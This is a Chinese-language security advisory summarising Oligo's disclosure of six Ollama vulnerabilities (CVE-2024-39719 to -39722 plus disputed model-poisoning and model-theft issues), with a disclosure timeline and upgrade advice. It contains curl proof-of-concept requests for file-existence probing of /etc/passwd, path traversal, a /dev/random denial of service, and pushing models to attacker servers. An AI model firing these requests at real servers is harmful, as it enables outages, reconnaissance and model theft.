Ollama披露CVE-2024-39719等AI模型盗窃与污染漏洞
Ollama是一个开源 LLM(大型语言模型)服务工具,用于简化本地运行大语言模型,降低使用大语言模型门槛,快速在本地运行大模型。
一、基本情况
Ollama是一个轻量级、可扩展框架,用于本地机器构建和运行大型语言模型,包括Llama 3、Phi 3、Mistral、Gemma开源大型语言模型。
Ollama 提供简单的 API 来创建、运行和管理模型,以及一个预构建模型库,大模型开发者、研究人员和爱好者都能在本地环境快速实验。
作为运行人工智能模型的领先开源框架之一,Ollama 使在本地运行大型语言模型变得更加容易和方便,其代码简洁明了,运行时占用少。
栋科技漏洞库关注到 Oligo 近期披露 Ollama 中的CVE-2024-39719、CVE-2024-39720、CVE-2024-39721、CVE-2024-39722等六个漏洞。
二、漏洞分析
Oligo 研究团队近期披露 Ollama 中六个漏洞,这些漏洞对在本地和云基础设施上运行大型语言模型(LLMs)的企业AI环境构成重大风险。
这六个漏洞中的四个已被正式分配CVE并在近期发布的版本中得到了修复,另外两个受到Ollama开发者争议成为Shadow Vulnerabilities。
(一)CVE-2024-39719
该漏洞可能导致 Ollama 公开部署它的服务器上存在哪些文件,允许攻击者通过文件存在性原语进一步滥用应用程序,其CVSS评分为7.5。
当攻击者使用不存在的路径参数来调用CreateModel路由时,Ollama会向攻击者反馈“文件不存在”错误,提供服务器上文件存在性的原语。
攻击者可以反映os.Stat命令输出并控制文件路径,这就使得威胁行为者更容易滥用该文件,进而发起进一步的攻击行为,危害较为严重。
~/ curl "" -d '{"name": "file-leak-existence","path": "/tmp/aasd.txt"}' {"error":"error reading modelfile: open /tmp/aasd.txt: no such file or directory"}%
1、示例操作
使用不存在的文件调用端点:
~/ curl "http://localhost:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}%
2、对于存在的文件
~/ curl http://localhost:11434/api/create -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
~/ curl http://localhost:11434/api/create -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
3、使用目录而不是文件路径:
~/ curl http://localhost:11434/api/create -d '{"name": "file-leak-existence","path": "/etc"}
{"error":"read /etc: is a directory"}%
4、参考链接
https://github.com/ollama/ollama/releases/tag/v0.1.47
https://github.com/ollama/ollama/blob/cb42e607c5cf4d439ad4d5a93ed13c7d6a09fc34/server/im
(二)CVE-2024-39720
该漏洞允许攻击者使用两 HTTP请求来上传格式错误GGUF文件,该文件仅包含以GGUF自定义魔术标头开头的四个字节,CVSS评分8.2。
利用包含指向攻击者控制的 blob文件的FROM语句的自定义Modelfile,攻击者通过CreateModel路由使应用程序崩溃,从而导致分段错误。
1、示例操作
2、参考链接
https://github.com/ollama/ollama/server/routes.go:534
https://github.com/ollama/ollama/server/routes.go:554
https://github.com/ollama/ollama/server/routes.go:563
https://github.com/ollama/ollama/compare/v0.1.45...v0.1.46#diff-782c2737eecfa83b7cb46a77c8bdaf40023e7067baccd4f806ac5517b4563131L417
(三)CVE-2024-39721
该漏洞可以导致攻击者通过 CreateModel 路由中的无限循环,从而可能使服务器陷入无限循环,耗尽CPU资源,该漏洞CVSS评分为7.5。
简单来说,CreateModelHandler 函数使用os.Open读取文件直至完成,req.Path参数是用户控制的,可设置为 /dev/random,它是阻塞的。
因此可能导致 goroutine 无限运行(即使在 HTTP 请求被客户端中止之后)情况的发生,如此一来就会导致无限循环中的大量资源被消耗。
使用这些参数可以多次调用 api/create 端点,将受影响计算机的 CPU 使用率增加到 80-90%,并且重复调用此端点将迅速导致拒绝服务。
该漏洞已在Ollama 1.35版本修复,1.34之前的版本都容易受到通过带有单个HTTP请求的 CreateModel API 路由的拒绝服务(DoS)攻击。
1、有效负载示例
~/ curl -d '{ "name": "denial-of-service", "path": "/dev/random" }' # OR simply ollama serve & curl "" -d '{"name": "dos","path": "/dev/random"}'
2、POC代码
# Run docker docker run -p 11434:11434 --name ollama ollama/ollama # DOS with single client request curl "" -d '{"name": "dos","path": "/dev/random"}'
3、参考链接
https://github.com/ollama/ollama/blob/9164b0161bcb24e543cba835a8863b80af2c0c21/server/routes.go#L557
https://github.com/ollama/ollama/blob/adeb40eaf29039b8964425f69a9315f9f1694ba8/server/rou
(四)CVE-2024-39722
该漏洞存在于0.1.46之前版本,允许 Ollama 通过 api/push 路由中的路径遍历来公开部署它的服务器上存在哪些文件,其CVSS评分为7.5。
当攻击者使用不存在的路径参数调用 api/push 路由时,它会将转义的URI反馈给攻击者,为服务器和执行它的用户上的文件存在提供原语。
1、有效负载示例
{"error":"stat /root/.ollama/models/manifests/registry.ollama.ai/lipary/latest: no such file or directory"} ~/ curl -d '{ "name": "../../../test../../../:../../../test../../../", "insecure":true, "stream": true }' {"status":"retrieving manifest"} {"status":"couldn't retrieve manifest"} {"error":"stat /root/.ollama/models/manifests/registry.ollama.ai/lipary/latest: no such file or directory"}
2、参考链接
https://github.com/ollama/ollama/compare/v0.1.45...v0.1.46
(五)影子漏洞
尽管 Oligo 研究团队报告六个漏洞,但 Ollama 的维护者只承认了其中四个,同时对两个提出了争议,接下来我们也对它们分别进行分析。
(一)Model Poisoning
如果客户端缺乏特殊授权(默认情况下存在漏洞),可使用 /api/pull 路由从未经验证(HTTP)源拉取模型,可能导致拒绝服务(DOS)。
攻击者可以触发服务器从攻击者控制的服务器中提取模型,它在处理文件上传时扩大了攻击面,连续调用此端点将下载模型直到磁盘已满。
1、有效负载示例
curl -d '{ "name": "any-name" }'
2、参考链接
https://github.com/ollama/ollama/blob/788b092c49d6fa889c911ed1d4eb2d01d944e1c3/llm/ext_server/server.cpp#L2101
(二)Model Theft
客户端可使用 /api/push 路由将模型推送到未经验证 (HTTP) 源,因为它缺乏任何形式授权或身份验证,因此可能导致服务器中模型失窃。
该漏洞允许攻击者能够使用单个HTTP请求窃取存储在服务器上的每个模型(并上传到第三方服务器),使得人工智能公司失去竞争优势。
1、有效负载示例
带有 insecure=True 和攻击者控制的服务器的 /api/push HTTP 请求会将模型推送到不受信任的、或是攻击者控制的源,其影响相对较大。
为了进行比较,TorchServe和Triton Inference Server 不同端口运行管理服务,通过分离管理路由,使用默认配置进行部署用户减少风险。
三、漏洞披露时间线
Oligo 已在 Ollama 的最新版本 Ollama v0.1.34(于2024年05 月07日发布)时识别出 CVE。
2024 年 5 月 18 日 - 6 个漏洞的初步报告
Oligo 向 Ollama 的维护人员提供了完整的安全报告。
Ollama 的维护者用 PGP 密钥进行响应。
Oligo 对 Ollama 维护人员的安全报告进行了加密。
2024 年 5 月 21 日 - Oligo 跟进
2024 年 5 月 21 日 - Ollama 确认了 6 个漏洞中的 4 个,并开始修复。
2024 年 6 月 4 日 - Oligo 跟进
2024 年 6 月 9 日 - 修复了 Ollama Server 版本中的 DOS 漏洞(在版本 0.1.46 中修补)。
2024 年 6 月 26 日 - Oligo 要求 MITRE 为这 4 个漏洞发布 CVE。
2024 年 6 月 28 日 - MITRE 发布了 CVE:CVE-2024-39720、CVE-2024-39721、CVE-2024-39722、CVE-2024-39719
2024 年 8 月 16 日 负责任披露结束(自初次报告起 90 天)
2024 年 10 月 30 日 Oligo 发布相关通报
四、影响范围
Ollama <= 0.1.45
五、修复建议
Ollama > 0.1.46
六、参考链接
https://www.oligo.security/blog/more-models-more-probllms